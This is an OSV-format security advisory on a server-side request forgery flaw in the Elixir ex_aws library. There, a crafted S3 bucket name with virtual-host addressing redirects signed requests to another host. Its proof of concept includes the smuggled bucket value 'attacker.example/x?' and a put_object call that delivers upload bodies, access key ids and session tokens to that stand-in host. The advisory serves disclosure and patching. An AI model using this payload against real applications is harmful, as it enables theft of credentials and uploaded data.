{"affected":[{"package":{"ecosystem":"Hex","name":"ex_aws","purl":"pkg:hex/ex_aws"},"ranges":[{"events":[{"introduced":"2.1.7"},{"fixed":"2.8.0"}],"type":"SEMVER"}],"versions":["2.1.7","2.1.8","2.1.9","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.2.9","2.2.10","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.5.8","2.5.9","2.5.10","2.5.11","2.6.0","2.6.1","2.7.0"]},{"ranges":[{"events":[{"introduced":"557d3438a7e739a25c1ccc1876a5b636793f20ba"},{"fixed":"a878943be6def16ffbee6bb9e11d90db1dc904f8"}],"repo":"https://github.com/ex-aws/ex_aws","type":"GIT"}]}],"aliases":["GHSA-rcv9-2jx2-63xh","CVE-2026-120720"],"credits":[{"name":"Peter Ullrich","type":"FINDER"},{"name":"Peter Ullrich","type":"REPORTER"},{"name":"Jonatan Männchen / EEF","type":"ANALYST"},{"name":"Peter Ullrich","type":"COORDINATOR"},{"name":"Bernard Duggan","type":"REMEDIATION_DEVELOPER"}],"database_specific":{"capec_ids":["CAPEC-664"],"cpe_ids":["cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"],"cwe_ids":["CWE-918"]},"details":"## Summary\n\nServer-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0.\n\n## Details\n\n**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney's `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS.\n\n## Proof of concept\n\n1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`.\n\n## Impact\n\nAn attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.\n\n## Configurations\n\nReachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.\n\n## Solutions\n\nUpgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames.","id":"EEF-CVE-2026-120720","modified":"2026-11-24T12:17:35.783096Z","published":"2026-11-24T12:17:35.415Z","references":[{"type":"ADVISORY","url":"https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"},{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-120720.html"},{"type":"WEB","url":"https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"},{"type":"FIX","url":"https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"},{"type":"PACKAGE","url":"https://hex.pm/packages/ex_aws"}],"related":[],"schema_version":"1.8.0","severity":[{"score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"CNA","type":"CVSS_V4"}],"summary":"S3 bucket name controls the request host in ex_aws virtual-host requests","upstream":[]}